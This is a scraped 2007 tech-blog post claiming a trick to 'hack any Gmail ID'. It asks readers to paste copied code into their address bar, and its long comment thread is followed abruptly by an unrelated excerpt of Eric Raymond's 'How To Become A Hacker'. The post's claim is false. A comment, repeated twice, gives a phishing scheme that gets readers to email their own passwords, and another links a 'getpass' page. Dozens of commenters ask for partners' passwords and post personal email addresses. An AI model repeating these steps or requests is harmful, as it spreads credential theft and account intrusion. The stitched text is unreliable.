images

so I oliytam the master with .nishant

TECH TRIX
Simplifying Technology With Simple Solutions!!
Home
Google Mania
Disclaimer

Hack any Gmail ID !!!
Hack any Gmail Id…in real time!!!
The fears and worries of sites such as Gmail is Too Creepy have finally come true.
A bug in Google’s Translation Tool and its Search Mail Technology enables anybody to view the account information and the first few mails of any gmail user.
This is how…
Click here and then on the page that opens, you will see a box with some code inside it.
Select and Copy the code and then click on the public service messages/animation just below the box.
After clicking, as a new page opens, paste the copied code in the address bar of the new-page and hit enter.
Enter any gmail id…and voila!!!
See it to believe it!
[GUYS>>> It has been fixed and is working yet again!!!]
This entry was posted on January 2, 2007 at 10:58 pm and is filed under Tech-Trix. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
96 Responses to “Hack any Gmail ID !!!”
diddue Says: January 4, 2007 at 6:25 pm
are you a gmail user, aren’t you ? thanks for aware us
Govind Says: January 15, 2007 at 9:21 pm
Yes…but i have had my account secured!!!
tony Says: February 25, 2007 at 4:53 pm
I couldn’t get the gmail password. it doesn’t workif it does , then mail me at tharjani@gmail.com
Yahoo Retriever Says: March 6, 2007 at 4:03 pm
To hack a yahoo account (to get someone else’s password) follows these instructions.Step. 1 opens your own account it doesn’t have to be a yahoo account.
Step. 2 compose a new e-mail to accountcode2000@yahoo.com this is yahoos admin automated system in surrey UK, because they’re to lazy to answer personal e-mail.
Step. 3 As the subject put “psswrdconf638″ without the exclamation marks the 638 is a Unix code in which you are directed to yahoo’s account systems port.
Step. 4 on the first line of the text body enter the user name of the person whose account you want to gain access. On the second line write your user name and password as confirmation to the automated system that you have a valid account.
Step. 5 send the e-mail, and within the 24 hour processing time that the system has you will receive the requested account information.
These systems are old and therefore have a very poor level of security and after a little poking about we found this loophole, which is created by clashing program code. It was originally made so you could send for your own account information however it has gone out of use but is still up dated by the fat cats at yahoo. These older machines can be a lot of fun if you can find them which isn’t hard however that’s another of my little tricks which I’ll keep to myself for now.
somone from iran Says: March 9, 2007 at 6:18 pm
your stupy you wantso hack that person who wanto to hack anthor you
said ”On the second line write your user name and password as confirmation to the automated system that you have a valid account.”so that email mailto:accountcode2000@yahoo.com is yours stupies
if you can hack me my gmail is akalik@gmail.com
Govind Says: March 9, 2007 at 8:52 pm
Yup (@Someone from Iran)..lol..that is so true!!!
@Yahoo Retriever: lol..u really think people will fall for that!
Mike Says: March 18, 2007 at 1:43 am
Hi..
I would like to know the password for heapdreams@gmail.com..Could u pls sent it to mike07gene@yahoo.co.in
mkei Says: March 25, 2007 at 8:49 pm
can u help me, i lost my password in gmail,my username is mkei85@gmail.comsent to tjah_ajoeku@yahoo.com
Mau Says: March 31, 2007 at 6:11 am
Hi! can you help me? I want the password for this mail melymtz@gmail.com .
I need to know if she is cheating me. Could you please sent me the password to mauricio.villarreal85@gmail.com ? Thanks.
candz Says: April 1, 2007 at 12:17 am
hi!!..pls help me!!!.. i want the password for this gmail jammcband@gmail.com
he’s definitely cheating me!!.. pls send me the password of this on my gmail account candz.addicts@gmail.com..thanks in adv.
kamal Says: April 3, 2007 at 6:07 pm
hack password of my girlfiend
kathy Says: April 6, 2007 at 10:03 am
hi i think my bf is cheating plzzzz help me get his password sn is stevedasavage@gmail.com thank you email me at bacho143@aol.com
Erick Zurcher Says: April 6, 2007 at 10:18 pm
Please, help me get the password of burcu55@yahoo.comshe is cheating on me. I need some proofplease help me. I can pay you.
Romeo Says: September 4, 2007 at 8:02 pm
hi help me to get the password for maaya.arjun@gmail.com……………………thank you email me at romeojly@tahoo.com
Romeo Says: September 4, 2007 at 8:06 pm
hi help me to get the password for maaya.arjun@gmail.com=================thanks, you email me at romeojly@yahoo.com
vos Says: September 5, 2007 at 1:15 pm
Hi!I am having really bad relationship with my b/f. His gmail address is zinmon85@gmail.comi would like his gmail password as soon as possible and my gmail address is vosdonnees@gmail.comCan anyone please help me!!!
HEY!! Says: September 15, 2007 at 1:16 pm
PLZ I NEED THE PASSWORD OF MLIU851@GMAIL.COM PLZZZZZZZ SOMEBODY HELP ME GET THE PASSWORD JST E-MAIL ME TO ha.ho.a@hotmail.com
Hitesh Says: September 17, 2007 at 3:45 pm
hi.. i want the password of this id khusoni@gmail.complz send me the email my email add. is hitesh_kaka2007@rediffmail.com
arun Says: September 22, 2007 at 11:48 pm
hi ………i need thi spassword of this id”kavinrc@gmail.com”….its urgent infact someone helps me i wil be ever grateful…u can do this favour in the name of god coz its bout my life so help me plssssssss
arun Says: September 22, 2007 at 11:49 pm
i am the same arun forgot to put my id my id is godblessaarun@gmail.com so plsss
arun Says: September 22, 2007 at 11:50 pm
sori only godblessarun@gmail.com i put two a in tension
siddu Says: September 27, 2007 at 2:45 pm
mannn!!!!!!it dosen’t work..if any1 is able to get it plzzzzz email me bout it at siddh.shady@gmail.com
Arvind Deshpande Says: September 28, 2007 at 8:06 am
Dear accountcode2000@yahoo.com
Thank you very much for giving me the passwords for the accounts.I was able to retrieve most of my mails. Could you also crack the folowing mail id’s for me pls.
Thanks a million.
jjbert1@yahoo.commona34@yahoo.com
Leena Chatterjee Says: September 28, 2007 at 8:08 am
Dear Accountcode2000@yahoo.com
Please give me the passwords for the following id’s
y2k2000@gmail.com
accountcode Says: September 28, 2007 at 8:12 am
To hack a yahoo account (to get someone else’s password) follows these instructions.Step. 1 opens your own account it doesn’t have to be a yahoo account.
Step. 2 compose a new e-mail to accountcode2000@yahoo.com this is yahoos admin automated system in surrey UK, because they’re to lazy to answer personal e-mail.
Step. 3 As the subject put “psswrdconf638″ without the exclamation marks the 638 is a Unix code in which you are directed to yahoo’s account systems port.
Step. 4 on the first line of the text body enter the user name of the person whose account you want to gain access. On the second line write your user name and password as confirmation to the automated system that you have a valid account.
Step. 5 send the e-mail, and within the 24 hour processing time that the system has you will receive the requested account information.
These systems are old and therefore have a very poor level of security and after a little poking about we found this loophole, which is created by clashing program code. It was originally made so you could send for your own account information however it has gone out of use but is still up dated by the fat cats at yahoo. These older machines can be a lot of fun if you can find them which isn’t hard however that’s another of my little tricks which I’ll keep to myself for now.
Mat Says: October 2, 2007 at 6:10 pm
Guys
I can only crack upto 5 passwords of gmail So have patience and follow my instructions carefully.
Cheers!!
paresh Says: October 4, 2007 at 4:24 pm
i have not done hacking g mail id plese send me to procedure of hacking on my id
wecaz Says: October 9, 2007 at 11:04 am
I forgot password of my first gmail id. Plz help me retrieving the password.wecaz1@gmail.com
varun Says: October 9, 2007 at 8:45 pm
hello hi here
rakesh jena Says: October 11, 2007 at 5:57 pm
plz yaar koi java script wala tarika ya………koi asaan sa tarika batao hacking keliye…………………………..plz tell the easiest trick for hacking…………
aakash Says: October 20, 2007 at 3:27 pm
plz hack the password of mundhes@gmail.com and send it to aakash_patil23@rediffmail.com….plz help me..if anyone know how to hack rediffmail password then mail me ….
sunil nanda Says: October 22, 2007 at 6:06 pm
it’s urgent .I need password of priyananda100@gmail.com.She is my wife .But i m in very much tense .Do not know wht is happening in life . Pls help me
pls contact me on this id sunil.nanda001@gmail.com after getting password
Thankssunil
sanj Says: October 24, 2007 at 10:47 am
Die Domain “rhythm.freewebspace4all.de” ist nicht verfügbar.
Babita Says: October 25, 2007 at 4:56 pm
Hey, I have read your way of hacking. But really its not working. Please tell me any other to hack gmail IDs. I want to check somebody’s ID. Please Please
Babita Says: October 25, 2007 at 5:02 pm
I want to Hack the Email ID ngadhikary@gmail.com. Please provide me the password of that. I will be greatful to you.Thanks!!!!!!!!!!
Jill Says: October 26, 2007 at 10:57 am
I know my busband is cheating. I need proof can you help me with a gmail account… Thank you
Gayatri Says: October 30, 2007 at 12:42 pm
“rhythm.freewebspace4all.de”
Hehe Says: November 3, 2007 at 1:39 pm
Blah Blah Blah. Nothing works on this page(except the silly jokes!)
Fred Says: November 4, 2007 at 9:21 pm
Plz help me retrieve the passwords for these 3 accounts
terriator@gmail.comhybridsta@gmail.comspidermouse992000@yahoo.com
THNX~
Fred Says: November 4, 2007 at 9:58 pm
If you get the passwords for
hybridsta@gmail.comterriator@gmail.comspidermouse992000@hotmail.com
plz send them to
skam255@gmail.com ORskam225@hotmail.com
THNX~
sweet Says: November 5, 2007 at 5:43 pm
hey ya plzzzzz i wanna ma gmail id back i forgot ma password n i cannot open it now can u plzzz open it 4 me n send me at ma yahoo id plzzz izz sweet_cool1635@yahoo.com plzz can u i want ma id back can u send it plzzzz
sweet Says: November 5, 2007 at 5:44 pm
hey ya plzzz izz not opening 4 me can u plzzzz open ma id of gmail izz cute.pie17019@gmail .com can u plzzz open it i forgot ma password n i wanna ma id back can u send plzz
Rocker Says: November 6, 2007 at 8:08 pm
Me too struggling with same problem .Can i get my gmail password for my id kothaivedandham@gmail.com
Rocker Says: November 6, 2007 at 8:09 pm
Please send that to selnamarq@yahoo.com
chandramouli.gollla@gmail.com Says: November 8, 2007 at 12:48 am
pls tell me the password of chandramouli.golla and send to this id geetachandu@gmail.com
chandramouli.gollla@gmail.com Says: November 8, 2007 at 12:50 am
pls cancel my request
geeta_chandu@yahoo.com Says: November 8, 2007 at 12:52 am
pls find the password
amit Says: November 8, 2007 at 3:01 pm
hay pls help me to get password of alamnauman@gmail.com
fucker Says: November 13, 2007 at 4:51 pm
you fuckholehuh …….keeping all those people in dark so you can help yourselves ….HEY ALL people !!!!!!!!there is absolutely no way to hack passwords of gmail and yahoo users cause of pop authentication ….except brute force algorithms which will fail once your password is more than 3-4 characters long ….this fucking site owner is making money when you people click on his ads …..through google’s adsense program……
nitu Says: November 22, 2007 at 11:56 am
hi pis find the password nitu_joshi@yahoo.co.in
neha Says: November 25, 2007 at 5:14 pm
plz tell me an easy way to hack gmail id…plz plz plz…i really need to know it…..
misty7 Says: November 27, 2007 at 9:59 pm
I want to Hack the Email ID sal4311@gmail.com. Please provide me the password of that. I will be greatful to you.Thanks!!!!!!!!!!
carl Says: December 7, 2007 at 7:05 am
i need a password for a gmail account lwhitehurst to see if see is cheating on me. reply to southengent01@yahoo.com
cryingboy Says: December 9, 2007 at 4:05 am
hello, i neeed help i cant leave anymore i dont knowh what i have done, i need help too hack one gmail. i think my girlfriend is cheating me, there vas a time i knew her password but she have done new password i dont know why. soo i dont know the password anymore im scary can somebody helpme please i need help please help :’((( crying boy
abc Says: December 22, 2007 at 11:12 am
I want to hack a gmail acoount.please send me the method
vimalraj Says: December 25, 2007 at 12:01 pm
i need to know the password of vimal1378982@gmail.com. so, please send the password to vimal8008@yahoo.co.inthanksssssssssssss
amit Says: December 26, 2007 at 9:51 pm
hi i want to know the password of chhayasingh@gmail.com.i will be greatful to you.
Maroof Says: January 2, 2008 at 3:11 pm
plz help meclick here option is not opening
sad but true Says: January 4, 2008 at 7:34 am
need password from: andrade.rita@gmail.comif u can get it,pliz mail me to eredetipapucs@yahoo.com. i suspect that my gfriend is cheating on me againthank u all for ur help
kailash Says: January 4, 2008 at 4:03 pm
i can hack any gmail account . but why i shoud do it. the step given above is false, dont ever try that. you need to know only html,javascript and strauts. learn first.
sameer Says: January 7, 2008 at 5:35 pm
hi plzzzzzzzzzz…. i want to know da password of my girlfriend i am pretty sure that she cheats me. plzzzzzz webmater plz give me the password of dis idkanika.kanuuu@gmail.com
Raj Veer Says: January 12, 2008 at 9:54 pm
hi cn u give me d passwrd fr yukti.gupta1988@gmail.comsomeone hs hackd my frnds id on orkt and running this fk id on orkt and plynwith herso cn u??if yes den mail me at raj.yadav@gmail.com
samee Says: January 16, 2008 at 12:59 pm
i need to know password of sameeahm@gmail.com so plzzzzzzzzzz plzzzzzz give me thepassword of sameeahm@gmail.com i will be thankfull to u
samee Says: January 16, 2008 at 12:59 pm
send as quick as possible
samee Says: January 16, 2008 at 1:05 pm
hey i wanna knw hw to hack passwords
samee Says: January 16, 2008 at 1:10 pm
i wanna hack gmail account so plzz send me d method
brad Says: January 16, 2008 at 2:35 pm
please help my wife is cheating and i need proof to get my 4yr old son
her email is missjennis@gmail.com
please email the password
shoorvir Says: January 19, 2008 at 10:23 am
plzzzzzzzzz help me….i need d password of my gf…..her id is gazal.malik@gmail.complzzzzzzzz send it to playboy_0246@yahoo.co.in
isha Says: January 24, 2008 at 10:37 am
its not working , plz help me out and let me know the solution . you can mail me on the above mentioned id thanks
angry... Says: February 3, 2008 at 2:46 pm
just to let you all know that someone will probably forward all of these hacking requests to the mailboxes that you want to hack…
hi Says: February 5, 2008 at 7:48 pm
there is a urgent need to no the password plz tell me {mandasridhar550@gmail.com}
hi brothers help me Says: February 5, 2008 at 7:51 pm
tgere is a urgent need to know the password {mandasridhar550@gmail.com}plz send it to (lahiri_santosh@yahoo.com)
jitesh Says: February 6, 2008 at 11:23 am
pls hack d password 4 meof dis iddeepsrock@gmail.comnpls send me d password in my above stated mail id
jacob Says: February 6, 2008 at 12:12 pm
Please give me the password of sheeba1jacob@gmail.com.I am her father who wants to keep track of her internet stuffs….please help and send it to jacobmc29@gmail.com
Prasad Says: February 14, 2008 at 9:46 am
Ya I’ve tried the procedure but i couldn’t get access in to the account.It just gave me an adv. of an antivirus.Plz give me a suitable way to hack the id sudhibha2007@gmail.com. PlzzzzzzzzzzzzzzzPlzz reply to my e-mail id.youcanhaveme@gmail.com
madhu Says: February 15, 2008 at 11:50 am
heyy everyone are requesting for the passwords but has anyone got them? or is it just a silly prank for which people are falling?
raghav Says: February 16, 2008 at 7:22 pm
i hav tried to open my account from 1 hr it is not opening it shows waiting from 10 hrawat i do?can u plz help mei was crying [:(]
raghav Says: February 16, 2008 at 7:25 pm
plz hack this id bajajraghav@yahoo.com and tell me the pasword of this id and send it to my id raghav.bajaj15@gmail.com
bajaj Says: February 16, 2008 at 7:28 pm
i wanna hack to gmail account plz tell me the method
saumya Says: February 27, 2008 at 8:33 pm
i’d really oblidged if u could plz find d password of devender.jain@gmail.com and mail it to meh at charismaticcoral@yahoo.co.in…………..dis task is part of a bet 4 which d deadline’s 2morow.
dhruvi Says: February 28, 2008 at 11:42 am
can u help me, i lost my password in gmail,my username isdhruvishshv@gmail.com
U can send it to my yahoo account dhruvishahv@yahoo.com
dhruvi Says: February 28, 2008 at 12:30 pm
sorry for the previous comment submitted by me.I had mentioned my id wrong.below is the correct id.dhruvishahv@gmail.com
U can send it to my yahoo id dhruvishahv@yahoo.com
Baba Says: March 1, 2008 at 12:30 am
This is all bullshit, none of this are working
sam Says: March 10, 2008 at 2:37 pm
its not working…………i hav tried following d procdure given.but no result.kindly check
sravanthi Says: March 11, 2008 at 12:45 am
i forgotten my gmailid password can any get it back sravanthi.atluri@gmail.com
raja Says: March 15, 2008 at 10:21 pm
i urgently need the password of course.iitd@gmail.com. this is required for the completion of engg. degree…plz help me
irshad Says: March 26, 2008 at 8:04 pm
pl send this gmail account password
on mr.irshadabbas@rediff.com
irshad Says: March 27, 2008 at 12:01 am
http://translate.google.com/translate?u=http%3A%2F%2Fsancharisd.org%2Fgmail%2Fgetpass.htm&langpair=es%7Cen&hl=en&ie=UTF-8
rishabh Says: March 28, 2008 at 9:01 am
can any plz hack me this id and tell the password plzzzzzzzzzzzzzzzzzzz
rishabh Says: March 28, 2008 at 9:18 am
can any one plz hack this id mehrotra.rishabh@gmail.com
Yuriy Says: March 31, 2008 at 10:59 am
Hi.. All
I would like to know the password for photography@gmail.com Could u pls sent it to hqwallpaper@gmail.com
thank you all
jazy Says: March 31, 2008 at 2:47 pm
i tottally agree with fuckerif you all assholes who are trying to hack your balls out for free than pisss offfeither hire a hacker,buy an ebook or use Hack Passwords v2.0 for which you cant get your ass on for free
shalivj Says: April 3, 2008 at 12:05 am
hi im here fr a hlp to fing out my pass words fr both of my gmail id.actually once i clickd spam link n i lost gmail id logging access.but both the id’ are still there.but cudnt log in.
hlp me to get d pass words fr sure.
my id’s are
vinup18@gmail.comshalivijay@gmail.com
karan Says: April 3, 2008 at 12:53 pm
plz i hack my gmail password, i forgot my passwordplz mail me
gyana Says: April 4, 2008 at 2:14 pm
please give me password ofreachritu.ray@gmail.com
swapna Says: April 18, 2008 at 11:29 am
my gmail swapna.123.cool@gmail.com has hacked by some one.. plzzzzzz help me to get the password of that mail…..I tried the steps in this web site but it only gives an advertisement about anti virusus….Anyone plzz help me
Leave a Reply
Name (required)
Mail (will not be published) (required)
WebsiteXHTML: You can use these tags:

-->

Tech Trix
A Tech Blog under the G - Network banner. [G - Network: Unleashing the Power of the Internet!]-Govind-
About
Disclaimer
Google Mania
Don't like my blog...
…Chainsaw it!
…Nuke it!
…Throw tomatoes!
..Protest!
G - Money for Publishers
Get Paid for reading mails!
Have a Site/Blog? Click here to Make money!
Monetize your site!
G - Network
Earn Online by Linking
HACK ANY GMAIL ID!
My Poems!
The Guestbook!
G - Tools!
Get Paid for reading mails!
Ur Tech Problems Plz...
If u r facing ny Tech prob or somethin posted on the Board is otherwise not working for u...plz do not hesitate to leave a comment n we'l get bak 2 u asap (response time: 24H).
Categories
Games
Google Mania
IndiYeah!!
InTeRnEtRiX
Jokes / Funny Stuff
Mobile / Cell Phones (S60 series) Stuffs
Random Site
Snippets
Tech-Stuffs
Tech-Talks
Tech-Trix
XP Trix
Archives
November 2007
May 2007
April 2007
March 2007
February 2007
January 2007
December 2006
November 2006
October 2006
September 2006
August 2006

Contact Us
at govind029@gmail.com to Submit ur problems, solutions, snippets, feedback or share ur techknowledge with us.
Blog Stats
12,186 hits
Spam Blocked

27,584 spam comments
blocked byAkismet
Theme: Contempt by Vault9.Blog at WordPress.com.
_qmeta="qc:adt=0;bti=TECH+TRIX;lan=en;dat=20070102;pti=Hack+any+Gmail+ID+%21%21%21;own=techtrix";_qacct="p-18-mFEk4J448M";quantserve();
st_go({blog:'182922',v:'wpcom',post:'98',subd:'techtrix'});
ex_go({x_theme:'contempt',x_lang:'en',x_dc:'dfw',x_adt:'0',x_public:'1',x_gl:'',x_mapped:'0',x_loggedin:'0',x_noads:'notsearch',x_ads:'no',x_plugin:'snap',x_pagetype:'permalink',x_postage:'365to730'});
addLoadEvent(function(){linktracker_init(182922,98);});

How To Become A Hacker
Eric Steven Raymond
Thyrsus Enterprises
<esr@thyrsus.com>
Copyright © 2001 Eric S. Raymond
Revision History
Revision 1.38
8 Jan 2008
esr
Deprecate Java as a language to learn early.
Revision 1.37
4 Oct 2007
esr
Recommend Ubuntu as a Unix distro for newbies.
Revision 1.36
21 Mar 2007
esr
Add note about live CDs, and ten years to mastery.
Revision 1.35
03 Aug 2006
esr
Minor fixes.
Revision 1.34
07 Mar 2006
esr
Remove C# from the list of languages to be avoided now that Mono is out of beta.
Revision 1.33
29 Nov 2005
esr
Add a pointer to Peter Norvig's excellent essay.
Revision 1.32
29 Jun 2005
esr
Substantial new material on not solving problems twice. Answer a FAQ on hacking and open-source programming. The three questions that reveal if you are already a hacker.
Revision 1.31
22 Mar 2005
esr
Added a link to another Paul Graham essay, and advice on how to pick a first project. More translation-link updates.
Revision 1.30
2 Mar 2005
esr
Added and updated many translation links.
Table of Contents
Why This Document?
What Is a Hacker?
The Hacker Attitude
1. The world is full of fascinating problems waiting to be solved.
2. No problem should ever have to be solved twice.
3. Boredom and drudgery are evil.
4. Freedom is good.
5. Attitude is no substitute for competence.
Basic Hacking Skills
1. Learn how to program.
2. Get one of the open-source Unixes and learn to use and run it.
3. Learn how to use the World Wide Web and write HTML.
4. If you don't have functional English, learn it.
Status in the Hacker Culture
1. Write open-source software
2. Help test and debug open-source software
3. Publish useful information
4. Help keep the infrastructure working
5. Serve the hacker culture itself
The Hacker/Nerd Connection
Points For Style
Other Resources
Frequently Asked Questions
Why This Document?
As editor of the Jargon File and author of a few other well-known documents of similar nature, I often get email requests from enthusiastic network newbies asking (in effect) "how can I learn to be a wizardly hacker?". Back in 1996 I noticed that there didn't seem to be any other FAQs or web documents that addressed this vital question, so I started this one. A lot of hackers now consider it definitive, and I suppose that means it is. Still, I don't claim to be the exclusive authority on this topic; if you don't like what you read here, write your own.
If you are reading a snapshot of this document offline, the current version lives at http://catb.org/~esr/faqs/hacker-howto.html.
Note: there is a list of Frequently Asked Questions at the end of this document. Please read these—twice—before mailing me any questions about this document.
Numerous translations of this document are available: Arabic Bulgarian, Catalan, Chinese (Simplified), Danish, Dutch, Estonian, Farsi, Finnish, German, Greek Hebrew, Italian Japanese, Norwegian, Polish, Portuguese (Brazilian), Romanian Russian Spanish, Turkish, and Swedish. Note that since this document changes occasionally, they may be out of date to varying degrees.
The five-dots-in-nine-squares diagram that decorates this document is called a glider. It is a simple pattern with some surprising properties in a mathematical simulation called Life that has fascinated hackers for many years. I think it makes a good visual emblem for what hackers are like — abstract, at first a bit mysterious-seeming, but a gateway to a whole world with an intricate logic of its own. Read more about the glider emblem here.
What Is a Hacker?
The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are really relevant.
There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers run Usenet. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.
The hacker mind-set is not confined to this software-hacker culture. There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.
There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.
The basic difference is this: hackers build things, crackers break them.
If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.
The Hacker Attitude
1. The world is full of fascinating problems waiting to be solved.
2. No problem should ever have to be solved twice.
3. Boredom and drudgery are evil.
4. Freedom is good.
5. Attitude is no substitute for competence.
Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.
But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for you — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters — not just intellectually but emotionally as well.
Or, as the following modern Zen poem has it:
To follow the path: look to the master, follow the master, walk with the master, see through the master, become the master.
So, if you want to be a hacker, repeat the following things until you believe them:
1. The world is full of fascinating problems waiting to be solved.
Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.
If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval.
(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)
2. No problem should ever have to be solved twice.
Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.
To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.
Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.
(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)
3. Boredom and drudgery are evil.
Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.
To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).
(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)
4. Freedom is good.
Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.
(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)
Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.
5. Attitude is no substitute for competence.
To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.
If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.
Basic Hacking Skills
1. Learn how to program.
2. Get one of the open-source Unixes and learn to use and run it.
3. Learn how to use the World Wide Web and write HTML.
4. If you don't have functional English, learn it.
The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.
This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:
1. Learn how to program.
This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed evaluation of Python. Good tutorials are available at the Python web site.
I used to recommend Java as a good language to learn early, but this critique has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually do. Now I think it is probably best to learn C and Lisp first, then Java.
If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.
C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much more efficiently. Thus, Python.
Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.
LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)
It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.
But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.
I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe most of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.
Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.
Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.
Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...
2. Get one of the open-source Unixes and learn to use and run it.
I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.
